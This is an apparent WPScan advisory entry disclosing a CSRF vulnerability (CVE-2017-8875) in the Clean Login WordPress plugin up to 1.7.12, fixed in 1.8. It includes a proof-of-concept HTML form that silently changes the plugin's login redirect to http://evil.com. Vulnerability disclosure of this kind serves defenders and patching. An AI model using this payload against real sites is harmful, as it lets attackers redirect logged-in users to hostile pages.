Clean Login <= 1.7.12 - Change Redirect URL CSRF



Proof of Concept
<form method="POST" action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=wpcsw_settings";>

  <input type="text" name= "adminbar" value=“on">

 <input type="text" name="emailnotificationcontent" value="">
 <input type="text" name="termsconditionsMSG" value="">
 <input type="text" name="termsconditionsURL" value="">
 <input type="text" name="urlredirect" value=“http://127.0.0.1/wordpress”>
 <input type=“text” name="loginredirect” value=“on”>
 <input type=“text” name="loginredirect_url” value="http://evil.com”>
 <input type=“text” name="logoutredirect_url” value="http://127.0.0.1/wordpress”>
 <input type=“text” name="cl_hidden_field” value="hidden_field_to_update_others”>
 <input type=“text” name="Submit” value="Save Changes”>
   <input type="submit”>

</form>

Affects Plugin

fixed in version 1.8

References

CVE 2017-8875
URL https://seclists.org/fulldisclosure/2017/May/23

Classification

Type CSRF
CWE CWE-352

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 6498
Verified No
WPVDB ID 8808

Timeline

Publicly Published 2017-05-05 (about 3 years ago)
Added 2017-05-11 (about 3 years ago)
Last Updated 2019-11-01 (8 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin